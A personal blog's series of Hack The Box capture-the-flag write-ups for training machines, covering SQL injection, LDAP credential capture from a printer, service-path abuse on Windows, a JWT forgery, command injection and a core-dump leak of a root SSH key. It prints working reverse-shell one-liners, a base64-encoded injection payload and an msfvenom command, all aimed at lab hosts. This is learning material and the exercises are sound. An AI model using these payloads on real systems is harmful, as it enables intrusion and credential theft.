Admittedly, the most Python coding I’ve done was at University when I recreated the game Boggle. My lecturer failed me and I had to resit the whole module the following year because I didn’t provide enough documentation. The program worked fine though. I believe that’s the reason I started falling behind in other classes which resulted in me dropping out during my final year. It’s a shame because I was mostly getting A’s and B’s until that point. Can you tell how not salty I am about wasting thousands of pounds? Anyway back to the lab.

Flask Application

The Flask application will send the request to the Validation host for us. It will populate the ‘username’ and ‘password’ parameters and send them as a POST request. This should allow ‘sqlmap’ to identify the vulnerability and allow me to dump the database. The foothold would still be through the PHP reverse shell but this way I get to learn some Python. You can see the code (which I “borrowed” from IppSec) below.

from flask import Flask
from flask import request
import uuid
import requests

app = Flask(__name__)
@app.route('/')
def index():
data = {"username": uuid.uuid4().hex,
"country": request.args.get("country")}
r = requests.post('http://10.129.234.49', data=data)
return r.text
app.run(host='0.0.0.0', port=80)

The Set-Up

I span up the Python Flask application using the command below. Once the application was up and running, I visited my localhost on port 80 in the Burp browser. I appended the country parameter to the request and intercepted it with Burp. I then copied the request to a file and called it middleware.

┌──(kali㉿kali)-[~/HTB/Validation]
└─$ sudo python3 mid.py
Burp to localhost

The Heist

With the request saved, I fed it to ‘sqlmap’ with no other arguments. As you can see below, it did indeed find that the ‘country’ parameter was vulnerable to SQL injection. I ran ‘sqlmap’ again but this time I appended the ‘–dump’ argument to the end of the command. The database was successfully dumped.

Success SQLMAP

The data from the database was also saved to a CSV which was nice.

Validation Database Dumped

Validation Learnings

Validation has been pwned! I know it’s a retried box but spoilers ahead! This was a fun box and I believe it did a great job of presenting what needed to be attacked. There didn’t appear to be any rabbit holes to fall down which was nice. The application allowed users to register and then retrieved data from a database and presented it to the user. I thought this sent a pretty clear message as to what needed to be done. The foothold taught me that you can use MySQL to write a file to the local filesystem. I think I knew this before but from an administrative perspective. However, that neural pathway for exploiting it has now been created. The reverse shell through Burp worked on my first attempt which suggests I’m getting a better grasp on that.

I think the privilege escalation was realistic. From my time in the industry, I know that weak passwords and password reuse happens often. It also shows the importance of properly enumerating a host. There could be stored credentials that would allow you to easily elevate your privileges. Unfortunately, I’m currently stuck in a mindset where I assume people won’t use weak passwords or the same password for a higher privileged account. The same can be said for when testing applications, I automatically assume that it has been developed securely. While I’m frequently proven wrong, it still surprises me. Perhaps it’s positive thinking but at least I’m aware that my thinking is flawed and can reprogram myself. Great box, thanks IppSec.

Hack The Box – Return

Return is an easy Windows box created by MrR3boot on Hack The Box and I’m going to hack it. Hello world, welcome to Haxez where in this post I’m going to explain how I hacked Return. To hack this machine, you will need basic host enumeration knowledge, and basic active directory knowledge.

Return Enumeration

First, I pinged the target to ensure that it was online and that I could talk to it. Next, I ran a Nmap scan against all ports requesting service versions and running default scripts. Furthermore, I told Nmap to save the results in all formats with the name ‘return’. The services listening on the host suggested it was a domain controller.

┌──(kali㉿kali)-[~/HTB/Return]
└─$ sudo nmap -sC -sV -p- 10.129.95.241 -oA return
Return Enumeration

I also performed a quick UDP scan with a minimum packet rate of 10,000. My justification for doing this was that I suspected SNMP would be listening. While SNMP wasn’t listening, DNS, NTP, and LDAP were.

UDP Scan

Initially, I speculated that the domain was ‘return.htb’ and attempted to perform a DNS zone transfer using dig. Unfortunately, I got no results back from the host either because the domain wasn’t ‘return.htb’ or because zone transfers were restricted.

┌──(kali㉿kali)-[~/HTB/Return]
└─$ dig axfr return.htb @10.129.95.241
; <<>> DiG 9.18.12-1-Debian <<>> axfr return.htb @10.129.95.241
;; global options: +cmd
; Transfer failed.

Next, I visited the web server in my browser which returned a control panel for a printer. While navigating around the control panel I noticed some credentials on the settings page. I was close to guessing the domain (return.local).

Return Printer Page

LDAP Credential Harvesting

Since the settings page allows us to specify the server address of the LDAP server, I started a netcat listener on port 389. Next, I changed the IP address in the server address form. Since the credentials were likely stored/cached on the host, I hoped that the host would try to authenticate against our netcat listener.

LDAP Credential Harvesting

After saving my IP address in the Server Address form, my netcat listener instantly received credentials from the printer. I could use the credentials to enumerate SMB. However, during the Nmap scan, I noticed that port 5985 (Microsoft HTTPAPI) was listening. This should allow me to connect via Evil-WinRM.

User Password

Return Foothold

As I mentioned previously, port 5985 was open which I connected to using Evil-WinRM. The target authenticated me using the credentials we harvested from the printer. From this foothold, I was able to capture the user flag.

┌──(kali㉿kali)-[~/HTB/Return]
└─$ evil-winrm -i 10.129.95.241 -u 'svc-printer' -p '1edFg43012!!'
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
Directory: C:\Users\svc-printer\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 3/28/2023 11:55 PM 34 user.txt
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txt
246▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓93e

Return Authenticated Host Enumeration

First things first, I performed some quick enumeration to ascertain what privileges I had as the ‘svc-printer’ user. Running the ‘net user svc-printer’ command revealed that the user was part of the ‘Printer Operators’, ‘Remote Management Use’, ‘Server Operators’ and ‘Domain Users’ groups.

*Evil-WinRM* PS C:\Users\svc-printer\Desktop> net user svc-printer
Return Authenticated Host Enumeration

Researching each of these groups, I stumbled upon this Learn Microsoft article which has the following to say about the ‘Server Operators’ group.

Members of the Server Operators group can administer domain controllers. This group exists only on domain controllers. By default, the group has no members. Members of the Server Operators group can take the following actions: sign in to a server interactively, create and delete network shared resources, start and stop services, back up and restore files, format the hard disk drive of the computer, and shut down the computer. This group can’t be renamed, deleted, or removed.

Return Privilege Escalation

The user is allowed to start and stop services which meant I could reconfigure a service and restart it. For that reason, I downloaded the ‘nc.exe’ binary from >>HERE<< and uploaded it to the server. The great thing about Evil-WinRM is that you can upload files. Therefore, using the upload command I uploaded the netcat binary to the server.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> upload /home/kali/HTB/Return/nc.exe

With the binary uploaded, I used the Evil-WinRM built-in services command to see what services were listening. The image below shows the services and whether or not they have privileges. There were several services that I could abuse but I chose the VGAuthService service.

This is where my lack of experience is on display, I ran the commands in the official walkthrough but kept getting an error. The error suggested it couldn’t find the file. Me being me, I assumed I was typing the service wrong even though I had successfully modified and stopped it. I spent about 10 minutes getting frustrated until I looked back at my commands. I had uploaded the ‘nc.exe’ binary to the desktop directory but the path I was specifying was to the documents directory.

Services

Capturing The root Flag

Let’s go through the commands. First, I ran sc.exe config to change the binary path of the VGAuthService. As you can see from the command below, the path includes the argument being fed to ‘nc.exe’ to start the reverse shell.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe config VGAuthService binPath="C:\Users\svc-printer\Documents\nc.exe -e cmd.exe 10.10.14.36 9001"

Next, I ran the ‘sc.exe stop VGAuthService’ command to stop the service. The service needs to be stopped for the new netcat command to be executed.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe stop VGAuthService

Finally, I restarted the ‘VGAuthService’ using the ‘sc.exe start VGAuthService’ command. However, before doing that I set up a netcat listener on my host listening on the port specified in the binary path. As soon as the service was restarted, I received a connection back to my host.

*Evil-WinRM* PS C:\Users\svc-printer\Documents> sc.exe start VGAuthService

The reverse shell was a bit unstable. You can see from the screenshot below that I had to restart the service a couple of times.

Reverse Shell Trigger

The reverse shell connected back to my netcat listener and I was able to grab the root flag and complete the box.

┌──(kali㉿kali)-[~/HTB/Return]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.36] from (UNKNOWN) [10.129.95.241] 64654
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Users\Administrator\Desktop>type root.txt
type root.txt
703▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓959

Return Learnings

Return was a great box and would be brilliant for people who are new to the industry. It requires some enumeration but keeps it simple. Once the foothold is established, it requires the use of built-in system commands combined with user-supplied executables to escalate privileges. I’ve made sure to add this privilege escalation technique to my notes.

I learnt a few things from this box. I’ve mostly only ever managed Windows via the GUI so was unfamiliar with the Service Command executable (sc.exe). This is something I definitely should have known by now but in my defence, when needed to I mostly used the ‘net stop’ and ‘net start’ commands. It’s great how boxes like this identify gaps in my knowledge. However, they do make me wonder how I still have a job in this industry.

Admittedly, I used to fear and dislike Windows boxes but I’ve come to prefer them over Linux. That isn’t to say I don’t love Linux boxes, there are just more of them so when I do play with a Windows box, it’s a treat. Anyway, back to what I was saying. With Windows boxes, I struggled with basic enumeration and how to connect to the host when RDP wasn’t available. Now, I’m a lot more comfortable so they are much more fun. Anyway, sc you later.

Hack The Box – Antique

Antique is an easy Linux box created by MrR3boot on Hack The Box and I’m going to hack it. Hello world, welcome to haxez where today I will be explaining how I hacked Antique. To complete this box you will need basic Linux and printer knowledge. Furthermore, we will be required to perform SNMP enumeration, network printer abuse, pivoting and CUPS administration exploitation. Please note that I have updated this write-up because I was unhappy with my original posting. I rushed through it and wanted to come back and revisit it with more details.

Antique Enumeration

I spawned the box and then sent a ping to ensure it was online. Once the box responded, I ran a Nmap scan targeting all ports requesting service versions and running scripts. Below, you can see the results of the Nmap scan showing that only port 23 was open.

Antique Enumeration

However, the response from the host suggests that the host is a printer. For that reason, I ran a UDP scan as I suspected SNMP might be configured. I restricted my UDP scan to the top ports and only requested service versions. As you can see below, SNMP was configured on the host.

┌──(kali㉿kali)-[~/HTB]
└─$ sudo nmap -sU -sV 10.129.235.239
Antique NMAP UDP

Next, I performed an SNMP walk using the default community string of public. Unfortunately, I got very limited results back. Below, you can see the response from the SNMP server only contained a single string.

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v 2c -c public 10.129.235.239
Antique SNMP Walk

HP JetDirect SNMP Password Disclosure

After looking at the official walkthrough and performing a few google searches, I learnt that some models of HP JetDirect printers have an SNMP information disclosure vulnerability. For example, executing the command below will return a hexadecimal encoded string. Please refer to the following article >>HERE<< for more information.

I’ve done more research into this vulnerability but haven’t leant much more. Although, it does have a CVE designation of CVE-2002–1048 I struggled to find the original disclosure write-up. Most references pointed me to a ‘securityfocus.com’ URL that no longer resolves. It seems, for whatever reason that HP stored the password in an SNMP variable. Therefore, knowing the specific variable and requesting it returns the hexadecimal encoded password.

┌──(kali㉿kali)-[~]
└─$ snmpwalk -v 2c -c public 10.129.235.239 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
Antique SNMP Weak Password String

Furthermore, decoding this hexadecimal string will reveal the password. Below, you can see that I used CyberrChef and was able to decode the string to reveal the password of ‘P@ssw0rd@123!!123’.

CyberChef

However, I wasn’t happy with the way I originally decoded the password. Everyone else’s writeups used cool Python scripts to decode it but I’m not very good at Python. As a result, I sought out a different method and stumbled on the Hack The Box user Yep’s write-up. Yep decoded it using xxd which I thought was tidy so I copied them.

┌──(kali㉿kali)-[~]
└─$ echo -n '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135' | xxd -r -p
P@ssw0rd@123!!123�q��"2Rbs3CSs��$4�Eu�WGW�(8i IY�aA�"1&1A5

Antique Foothold

I was now able to log in to the host via telnet. I used the telnet command followed by the IP address and port. Next, I hit the return key which prompted for a password. Finally, I submitted the password and received a prompt.

Antique Foothold

From the previous screenshot, you can see that I now had the ability to run commands. In fact, it appeared that I had the ability to execute system commands. For example, the image below shows that I was able to read the contents of the ‘/etc/passwd’ file. This proof of concept confirmed I had command execution.

/etc/passwd

Now that I had command execution, I should be able to send a reverse shell back to my host. I set up a netcat listener and tried a few different payloads from revshells.com. Despite my best efforts, typical bash shells weren’t working. The following Python reverse shell was executed (Thank you official walkthrough).

exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.34",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

The Python reverse shell came back and I was able to capture the user flag.

┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 4444
[sudo] password for kali:
listening on [any] 4444 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.235.239] 60030
lp@antique:~$ cat /home/lp/user.txt
cat /home/lp/user.txt
6f4▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓564

I wanted to revisit this section as I didn’t understand why typical reverse shells weren’t working. Below, you can see a working reverse shell command using bash. Before I get into it, I found the solution on 0xdf’s writeup. I realise that this is probably entry-level knowledge but I had to tell bash to execute bash. To explain, ‘exec’ gives us code execution, ‘bash -c’ executes the subsequent command string supplied in single quotes. The reverse shell is then supplied in single quotes. Unfortunately, I don’t understand why I couldn’t execute the payload without executing ‘bash -c’ first. Perhaps some bad characters broke up the command? Regardless, the reverse shell worked and connected back to my host.

exec bash -c 'bash -i >& /dev/tcp/10.10.14.34/4444 0>&1'
bash reverse shell

Antique Authenticated Host Enumeration

I wanted to revisit this section too as I rushed through it and didn’t explain it well in my original write-up. I dropped LinPEAS onto the host via a Python webserver and a ‘wget’ from the attack host. LinPEAS identified two CVEs, CVE-2021–4034 and CVE-2021–3560 both related to Polkit. These CVEs were unlikely the intended method to get root so I kept digging through the output. Eventually, I saw that port 631 was listening on 127.0.0.1. Below, you can see that port 23 (telnet) was listening on 0.0.0.0 which meant it was accessible publically. A service listening on 127.0.0.1 means it is only accessible locally.

LinPEAS

Further enumeration of the Antique host (using netstat) confirmed that something was definitely listening internally on port 631. Further down in the writeup, you can see how I used wget to download the index page of the application. This allowed me to identify that it was CUPS (Common UNIX Printing System) web application. I suspected that I needed to access this page to progress through and capture the root flag. Unfortunately, SSH wasn’t listening on the box so I couldn’t perform port forwarding through SSH.

Netstat

Tunneling With Chisel

Fortunately, there is a program called ‘chisel’ that can create a tunnel through to my host. I installed ‘Golang’ and then cloned and built ‘chisel’. next, I set ‘chisel’ up as a server on port 8000. It seems that I may have messed up here but keep reading.

┌──(kali㉿kali)-[/opt/chisel]
└─$ sudo ./chisel server -p 8000 --reverse
Chisel Server

Finally, I was set to go. I threw ‘chisel’ onto a web server, downloaded it, made it executable and…. error. To explain, the version of glibc I used to compile isn’t installed on the server. Therefore, the server didn’t know how to run it.

lp@antique:~$ ./chisel
./chisel
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.32' not found (required by ./chisel)
./chisel: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./chisel)
lp@antique:~$ glibc version
glibc version
glibc: command not found

Retraction! Looking back now, I find this rather amusing. Tuennling with ‘chisel’ will work provided you know what you’re doing. During work, I went back and revisited IppSec’s video for Opensource (I think) and realised that he didn’t install it. I downloaded it directly from the releases pages, extracted it, made it executable and ran it. You can find the version I used here https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz

Chisel

With the correct version of ‘chisel’, I set up the server on port 9000.

┌──(kali㉿kali)-[~/HTB/Antique]
└─$ ./chisel server -p 9000 --reverse
Chisel Server

Then, after downloading the correct version of ‘chisel’ from my Python web server I was able to create a tunnel back to my host. This tunnel forwarded port 631 so that it was accessible on port 9631 on my local host.

lp@antique:~$ ./chisel client 10.10.14.34:9000 R:9631:localhost:631
Chisel Client

I was then able to visit the CUPS web application by visiting HTTP://localhost:9631 in my browser. Thank you IppSec and 0xdf for keeping me honest.

CUPS application

Indented Privilege Escalation

The version of the CUPS application was 1.6.1 which has a vulnerability with the CVE designation CVE-2012–5519. This vulnerability affects versions of the application up to 1.6.2 and could allow attackers to read files with admin privileges. I’ve included the explanation below.

CUPS 1.4.4, when running in certain Linux distributions such as Debian GNU/Linux, stores the web interface administrator key in /var/run/cups/certs/0 using certain permissions, which allows local users in the lpadmin group to read or write arbitrary files as root by leveraging the web interface.

This is where I originally needed to pivot from the official walkthrough because I couldn’t get ‘chisel’ to work. As a result, I ran wget from the target host against that local listening port and downloaded the index.html page. After reading through the index page, I could see that it was a CUPS management portal.

Antique Indented Privilege Escalation

According to the walkthrough that I’m now following, there is a vulnerability that will allow me to read files owned by root. Furthermore, there is a Metasploit module that will do it for me, which is good because I start work in 10 minutes. I quickly created a payload using msfvenom, threw it on my webserver and used wget to download it.

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.34 LPORT=9001 --format elf > shell
msfvenom payload

Next, I set up the multi-handler within Metasploit and executed the payload on the target host. Sure enough, the shell came back and a Meterpreter session was created. After, I background the Meterpreter session and searched for CUPS. The result I needed was ‘cups_root_file_read’. I configured it to read the root.txt flag and set the session to my Meterpreter session.

Metasploit

Finally, I executed the exploit and it worked. It saved the output to my local host. I was able to read and submit the flag.

root flag
msf6 post(multi/escalate/cups_root_file_read) > run
[!] SESSION may not be compatible with this module:
[!] * incompatible session type: meterpreter
[+] User in lpadmin group, continuing...
[+] cupsctl binary found in $PATH
[+] nc binary found in $PATH
[*] Found CUPS 1.6.1
[+] File /root/root.txt (32 bytes) saved to /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt
[*] Cleaning up...
[*] Post module execution completed
msf6 post(multi/escalate/cups_root_file_read) > cat /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt
[*] exec: cat /home/kali/.msf4/loot/20230328034751_default_10.129.235.239_cups_file_read_270320.txt
1e0▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓6cc

Got root?

Of course, I was unhappy with this, I captured the flag but didn’t have root access! Remember those CVEs I mentioned earlier? Let’s give one of them a go. The following Python script is a proof of concept that will exploit CVE-2021–4034 and elevate our privileges to root. https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py. I checked that Python was installed on the target, downloaded the file and executed it. I finally got root!

Got root?

Antique Learnings

Now that I have revisited this box I have to update what I said previously. Antique is still a fun box! The foothold was fun and taught me about the HP JetDirect SNMP Password Disclosure vulnerability. I liked that SSH wasn’t listening on this box, it removed a safety net that I tend to rely on too much. Struggling with my bash reverse shell forced me to learn why it wasn’t working even though I had a perfectly good Python reverse shell. I’m happy that I followed up on that.

I forgot how to use ‘chisel’ even though I used it a few days ago. Consequently, that’s something I’ve learnt now that I won’t forget anytime soon. In my original review, I said that I was disappointed that the ‘chisel’ privilege escalation path didn’t work. However, I now know that ‘chisel’ wasn’t required for the privilege escalation so that no longer makes any sense. Using ‘chisel’ was a fun detour for enumerating more information about the host, nothing more. The method of capturing the root flag was fun but I would have preferred it if it could be used to get a shell as root. Perhaps there is and I just don’t know about it. However, finally achieving root access through CVE-2021–4034 means I can put this one to rest. Antique is a great box which I learnt a lot from. Thanks.

Hack The Box – Secret

Secret is an easy Linux box created by z9fr on Hack The Box and this is how I hacked it. Hello world, welcome to haxez where in this post I will be explaining how to defeat the secret box. It is a retried easy Linux virtual machine which appears to require manipulating JWT tokens for a foothold. I’ve only recently started learning about JWT tokens so this should be interesting.

Secret Enumeration

I span up the box and pinged it to make sure it was online and that I could talk to it. Next, I kicked off a Nmap scan targeting all ports and requesting service versions and running safe scripts. Below, you can see the output of the scan showing that ports 22 for SSH, 80 for HTTP and 3000 for HTTP were exposed. Furthermore, Nmap has identified that it is an Ubuntu box running an Nginx webserver with a Node.JS Express application.

┌──(kali㉿kali)-[~/HTB/Secret]
└─$ sudo nmap -sC -sV -p- 10.129.236.242
Secret Enumeration

Secret Application Enumeration

I navigated to the application on both ports 80 and 3000 and the application was the same. As a result, I started poking at the application on port 80 and discovered that I was able to download the source code. Furthermore, the application is well documented.

Secret Application Enumeration

For example, the register user button took me to a page explaining how to register a user via the API. It seems that I need to send a post request with various parameters in the Json body.

User Registration

User Registration

I sent a GET request to Burp Repeater and changed the request method to POST. Next, I added the required Json body content and sent the request. Initially, it sent back an error because there was some character length validation on the username and password. However, after modifying the request to comply with the character length, it worked. One thing I did notice was that the requests were being sent to port 3000.

Burp Request

User Authentication

Next, I took a look at the ‘Login User’ documentation which explained how to log in. The request was similar but only required the email and password. Furthermore, the endpoint was ‘/api/user/login’ rather than register. I sent my user registration request back to ‘Repeater’ and modified it to meet these requirements. I sent the request and the response contained a JWT token.

More Burp

Secret Static Code Analysis

I attempted to submit the token to the API but it rejected it because I wasn’t sure how to send it. After downloading the source code and watching IppSec’s Youtube video, I stumbled upon the verifytoken.js function. Below, you can see this function and that it requires the header auth-token.

Secret Code Analysis

After modifying the GET request, I was able to get a response back from the application informing me that I was a normal user. In conclusion, I have now worked out the authentication process which should make it easier to attack.

Burp

JWT Token Secret

JWT stands for JSON Web Token, and it’s a compact, URL-safe means of representing claims to be transferred between two parties. It is commonly used for authentication and authorization purposes in web applications. The JWT contains encoded information that includes a set of claims, such as user ID or access rights, and a signature to verify the authenticity of the token. The signature is based on a secret key that only the server knows, making it difficult for a malicious party to tamper with the token. We can view our existing JWT token on jwt.io.

JWT Secret

Above, we can see the decoded JWT token containing the signature algorithm of HS256. Furthermore, it includes our ID number, name, email and the issued time. Finally, it has a signature which is used to verify the token. I’m still learning how the signature process works so I may have explained it incorrectly. However if the signature is wrong, the server will reject the token.

Secret Git History

While listing out the contents of the downloaded source code, I noticed a ‘.git’ file. The persence of this file implys that this is a git repository.

Secret Git History

I decided to check the git commit history. Below you can see the results of running the ‘git log’ command. Furthermore, I noticed an interesting comment explaining that the ‘.env’ was removed for security reasons.

Git Commit History

I decided to take a look at this commit by using the ‘git show’ command followed by the unique identifier. Below, you can see the output which includes the value of the TOKEN_SECRET parameter. This appears to be the secret key that the server is using to validate the JWT tokens.

Token Secret

Forging A JSON Web Token

Now that I have the secret token, I should be able to make my own tokens which the server should verify. I confirmed this by heading back to jwt.io and inputting the token secret into the signature.

Forging A JSON Web Token Secret

Next, I coped with the new encoded token and modified the GET request to ‘/api/priv’ with the new token. I then sent this request to the server and it validated me. At this point, I can see where this attack chain is going but there are some unknown parameters. I believe we have the admin email address but we also need their ‘_id’. I suspect we will find it in the source code.

More burp

The Admin

Looking through private.js I noticed an if statement that checks if the username is ‘theadmin’. If the username is ‘theadmin’ then it will respond with “welcome back admin”. There don’t appear to be any other checks (such as the _id).

More code review

For that reason, I headed back to jwt.io and changed the name parameter to ‘theadmin’. I didn’t change anything else.

More JWT

Next, I went back to Burp and updated the request with the new token and sent it. Sure enough, the application responded with “welcome back admin”. It’s surprising that there were all those additional parameters that didn’t get verified.

Burp Secret

Secret Foothold

Digging deeper into the private.js file I noticed that there was a ‘/logs’ route. In short, if our JWT token identifies us as ‘theadmin’ then we can access ‘/logs’. Furthermore, the ‘logs’ route accepts parameters and passes them to ‘git log –oneline’. This should allow me to command execution.

More code

Below, you can see a GET request to the ‘logs’ endpoint with the file parameter appended. Furthermore, the value of the file parameter is ‘test;whoami’ where the test is the search string, and the semicolon escapes the search and runs the ‘whoami’ command. This proof of concept was successful and I was able to enumerate the webserver user.

More Burp Secret

I created a reverse shell and base64 encoded it ensuring to do so in a way that removed plus and equals sign symbols. Next, I set up my netcat listener on port 9001.

┌──(kali㉿kali)-[~]
└─$ echo -n 'bash -i >& /dev/tcp/10.10.14.34/9001 0>&1' | base64 -w 0
YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzQvOTAwMSAwPiYx

I then appended the base64 encoded payload to the file parameter and commanded the server to echo the base64 encoded string, decode it and execute it with bash.

GET http://localhost:3000/api/logs?file=test;echo+-n+YmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMzQvOTAwMSAwPiYx+|+base64+-d+|+bash

This sent a reverse shell back to my machine and I was able to capture the user flag.

┌──(kali㉿kali)-[~/HTB/Secret/local-web]
└─$ sudo nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.34] from (UNKNOWN) [10.129.236.242] 39934
dasith@secret:~/local-web$ cat /home/dasith/user.txt
cat /home/dasith/user.txt
449▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓058
dasith@secret:~/local-web$

Secret Persistence

To ensure I could quickly access the box again if I were to lose my reverse shell, I created the .ssh directory. Next, I created a public/private key pair using ‘ssh-keygen’ and used ‘echo’ to add the public key to the ‘authorized_keys’ file. I could then SSH to the box as the ‘dasith’ user with the private key. Once I was back on the box it was time to perform some more enumeration. Therefore, I used the find tool to identify all ‘setuid’ files on the system. Below, you can see a screenshot showing the results of the command.

dasith@secret:~$ find / -perm -u=s -type f 2>/dev/null
Finding files

The ‘/opt/count’ file sticks out mainly because it is ‘/opt’ directory used for optional binaries. Checking the permissions on the file, I confirmed that it was owned by root, had ‘setuid’ and was executable by anyone. If I was to run this binary as the dasith user, it would retain the privileges of the root user. Therefore, it would be able to access areas of the system that the dasith user couldn’t

Count file

Secret Privilege Escalation

The developer of the count binary was kind enough to leave behind the source code for us to look at. Unfortunately, my lack of coding ability and knowledge of functions is going to restrict me in understand why this is vulnerable. According to the official walkthrough, the presence of ‘prctl(PR_SET_DUMPABLE, 1)’ combined with the ‘vargrind.log’ creates a vulnerable condition. Since the count binary is executing with the privileges of the root user, we can use it to open a file and then force it to crash. Upon crashing, it will write the contents of whatever was opened to the core dump log file.

Secret Code

Let’s do it. First, I ran the count binary and told l it to open the root user’s SSH private key.

dasith@secret:/opt$ /opt/count
Enter source file/directory name: /root/.ssh/id_rsa
Total characters = 2602
Total words = 45
Total lines = 39
Save results a file? [y/N]:

Next, I used ‘CTRL Z’ to background the process and then used kill to crash the count binary. I then used ‘fg’ to foreground the binary.

dasith@secret:/opt$ kill -SIGSEGV `ps -e | grep -w "count" |awk -F ' ' '{print$1}'`
dasith@secret:/opt$ fg
/opt/count
Segmentation fault (core dumped)

That was completed successfully as you can see it caused a segmentation fault. I recognise that error from the very few buffer overflow challenges I’ve done. I then used ‘apport-unpack’ to unpack the crash dump to ‘/tmp’ and then used strings on the core dump file to retrieve the root user’s SSH key.

dasith@secret:/var/crash$ apport-unpack _opt_count.1000.crash /tmp/crash_unpacked
dasith@secret:/tmp/crash_unpacked$ strings CoreDump
Private Key

Finally, I echoed the private key in a file and gave it 600 permissions. I then used SSH to connect to localhost as the root user using the key and grabbed the root.txt flag.

dasith@secret:~$ ssh -i key root@localhost
Last login: Tue Oct 26 16:35:01 2021 from 10.10.14.6
root@secret:~# cat /root/root.txt
b00▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓a1c

Secret Learnings

I enjoyed completing this box, it had a fun foothold and an interesting privilege escalation. I’ve been doing a bit with JWT tokens recently so the foothold complimented it nicely. 6 months ago I wouldn’t have had a clue how to attack JWT tokens but now I believe I could have worked that part out. However, I’m not sure I would have seen the git file and thought to enumerate the repository. This is something that I will remember if it comes up again. My reverse shell through Burp worked the first time which was nice.

The privilege escalation was fascinating. I understand the logic behind it but I don’t believe I would have worked it out from the code. It’s difficult to say because in hindsight everything seems easier than when you first approached it. I like how it was different to more common setuid privilege escalations. It required thinking outside of the constraints of the binary. I probably would have spent hours trying to escape the binary like a typical GTFO bin exploit. I suppose that’s exactly what we did in a way.

Hack The Box – Nunchucks

Nunchucks is an easy Linux box created by TheCyberGeek on Hack The Box and I intend to hack it. Hello world, welcome to Haxez in this post I will be explaining how I hacked into Nunchucks and stole the flags. Since I’m still learning, I will be using the official walkthrough when needed. Therefore, you should think of this write-up as a typical blog documenting my experience, rather than a walkthrough.

Nunchucks Enumeration

I started the Nunhucks machine and connected to the VPN. Next, I pinged the box to ensure that it was online and that I could talk to it. Below, you can see the results of the Nmap scan showing that port 22 for SSH, port 80 for HTTP and port 443 for HTTPS were open. Consequently, I can see that this is an Ubuntu box running Nginx. Furthermore, it appears that the domain associated with the box is nunchucks.htb. I wonder if TheCyberGeek is from Dorset as that’s where the SSL certificate is set to. One of my closest friends lived in Dorset and I used to visit regularly. Lovely place!

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo nmap -sC -sV -p- 10.129.236.104
Nunchucks Enumeration

Nunchucks Application Enumeration

Following my Nmap scans, I attempted to visit the IP address in my browser but it immediately redirected to the nunchucks.htb domain name. Therefore, I echoed the domain and IP address into my host file so that the application would redirect correctly and I could visit it. Below, you can see the result of attempting to visit the IP address followed by the command to add the domain to my host file. Finally, you can see the intended application.

Nunchucks Application Enumeration
┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ echo "10.129.236.104 nunchucks.htb" | sudo tee -a /etc/hosts
10.129.236.104 nunchucks.htb
Nunchucks.htb

If you know the enemy and know yourself, you need not fear the result of a hundred battles. Sun Tzu would have made an excellent hacker. Knowing as much as we can about the application will help us defeat it. Therefore, I ran ‘whatweb’ against the application to identify the technologies in use. As a result, I could see that it was a Node JS application utilizing the Express framework. I’ve only just started to learn about Node JS so my terminology may be wrong.

┌──(kali㉿kali)-[~/HTB/Nunchucks]
└─$ sudo whatweb http://nunchucks.htb
Nunchucks whatweb

Crawling Forward

Initially, I attempted to register a user but received an error. Furthermore, attempting to log in with generic credentials resulted in an error message advising that user logins were disabled. Consequently, I wasn’t sure what to do next so I checked the official walkthrough. The author (TheCyberGeek) explains that at the bottom of the page, there is a message advising that a store is coming soon. As a result, we should brute force additional virtual hosts.

shop virtualhost

There are a number of tools that I could have used to brute force additional virtual hosts. However, I thought it best that I stick to ‘gobuster’ since that’s what TheCyberGeek used. Unfortunately, it didn’t work which I found surprising. I performed a grep on the wordlist and ‘shop’ was definitely in there.

gobuster

